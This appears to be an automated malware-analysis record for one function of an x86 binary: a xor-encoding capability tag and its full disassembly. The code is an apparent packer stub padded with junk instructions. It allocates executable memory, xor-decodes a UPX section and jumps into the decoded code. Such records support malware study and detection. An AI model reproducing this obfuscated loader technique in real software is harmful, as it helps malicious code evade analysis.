Function at 0x47b434
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x36241966
mov eax, edx
sub eax, edx
add edx, 0xb796392a
popal
sub edx, 0x13546fab
sub eax, 0xba88fbac
mov eax, edx
mov eax, 0
mov ebx, edx
sub esi, 1
add ecx, esi
mov edi, ebx
not ecx
mov esi, 0x7881ece9
mov edx, edi
add esi, 0x1b337bd
add ecx, esi
not esi
inc eax
or ecx, ecx
or esi, ecx
dec esi
cmp eax, 0x100c814
jne 0x47b458
and esi, esi
dec esi
mov edx, 0xa09e7a18
add edx, 0xf68e744d
mov ecx, 0x47b21e
and ebx, eax
or ebx, ebx
mov edx, 0x47b412
inc esi
dec esi
mov edi, dword [ecx]
mov eax, 0x3c53a71a
mov eax, 0xa20fe483
and esi, esi
and edi, 0xff
add ebx, 0xb79b1d22
add esi, 0x8ca9653b
xor dword [edx], edi
add esi, ebx
add ebx, 0xac91c4e3
inc edx
inc eax
sub ebx, 0x69b27456
inc ecx
sub ebx, 0x675caa16
mov esi, 0x3c4783eb
mov esi, 0xe5c092c2
cmp edx, entry0
jl 0x47b4a7
sub eax, esi
mov ebx, esi
dec ebx
mov ebx, 0xdf04d6c6
sub esi, 0xc2ddebb9
and esi, ebx
add edi, ecx
and esi, esi
mov edx, 0x47b416
add esi, 0x321bc73d
dec edi
mov edx, dword [edx]
mov ebx, edi
sub edi, 1
mov edx, dword [edx]
or ebx, ecx
add ebx, edi
sub esp, 4
mov dword [esp], edx
add ebx, ecx
add ebx, edi
mov ebx, esi
mov edx, 0x47b412
mov ebx, 0x99a5b6f7
add esi, 0x5984a2c3
mov edx, dword [edx]
sub edi, 0xdb573e71
dec edi
mov edx, dword [edx]
not ecx
add esi, 0x919468ab
push 0x47b41a
and esi, esi
add ebx, ecx
sub edi, 0xefe8e336
call edx
add ecx, 0x6262a682
not ecx
sub ecx, 0x5fd0ee69
pop edx
not ebx
add ecx, ebx
mov edi, 0xcc5dfeab
push 0x47b427
mov ecx, esi
add esi, 0x4f7ece93
sub esi, 0x19c4df2f
push eax
inc edi
or esi, ebx
mov edi, ebx
call edx
sub edi, 0x5ff937c4
sub ecx, 1
inc ebx
push 0x40
sub ebx, esi
and ebx, ecx
push 0x3000
and edi, ecx
add esi, 0x846e33d0
push 0x20000117
dec ecx
mov ebx, 0x388ef94b
push 0
sub esi, edi
add ebx, ecx
not ecx
call eax
not ebx
add ebx, ebx
add eax, 0x20000065
mov ecx, edi
mov esi, 0x16968885
mov edx, 0x893f77c
dec ecx
add ebx, edi
sub esi, ebx
mov dword [eax], edx
mov ecx, esi
not edi
mov edx, dword [eax]
add edi, edi
not ebx
cmp edx, 0x893f77c
je 0x47b60c
mov ebx, 0
mov ecx, dword [ebx]
add esi, ebx
add esi, edi
mov ebx, 0x37435dc6
sub edi, ecx
mov edx, 0x9e9700c0
or eax, edx
mov edi, section.UPX1
inc edx
not edx
add edx, edx
mov esi, 0x47b21d
inc edx
or edx, eax
mov edx, 0x93a7f635
mov ebx, 0
mov eax, edx
not eax
or edx, eax
mov ecx, 0x47b21e
dec eax
and edx, edx
sub edx, 0xaa2783b3
lea ecx, [ebx + ecx]
or edx, eax
add eax, 0x86c2c870
sub eax, edx
mov ecx, dword [ecx]
mov eax, 0xf4abe536
and edx, edx
dec eax
and ecx, 0xff
add edx, eax
sub eax, edx
inc ebx
mov edx, 0xe0a27960
or edx, eax
mov eax, edx
cmp ebx, 0x1f4
jne 0x47b686
mov ebx, 0
sub edx, 0x1ef437c7
inc eax
inc edx
mov eax, 0x71ed3c87
sub eax, edx
sub edx, 0xf647e304
xor dword [edi], ecx
and edx, eax
sub eax, 0xa262ccad
or eax, eax
add edi, 2
inc edx
or edx, edx
mov edx, 0x81b6f225
cmp edi, esi
jl 0x47b640
mov eax, 0x1d28a57b
add eax, edx
add edx, 0x4e5850c1
mov eax, edx
sub edx, 1
add eax, 0xf58868ae
mov ebx, section.UPX1
add edi, eax
sub eax, 0x35a3009d
mov esi, section.UPX1
or edi, edi
add edi, 0xfaaf16d8
mov edx, 0x47b21d
and eax, eax
mov eax, 0x3fe1be90
mov ecx, 0
sub eax, 0x2863ea01
sub edi, 0xbde64d90
add eax, edi
mov cl, byte [esi]
mov eax, 0x50ae390
dec eax
dec eax
mov byte [ebx], cl
mov edi, eax
dec eax
add ebx, 1
not edi
sub edi, 0x2d662b18
dec eax
add esi, 2
and eax, edi
inc edi
cmp esi, edx
jle 0x47b711
add edi, 1
sub edi, 0x4a2b37e2
add edi, edi
add edx, edx
and eax, eax
sub edx, 0x617cb9c3
push 0x45e6a0
and eax, eax
add eax, 0x92dc7976
dec eax
ret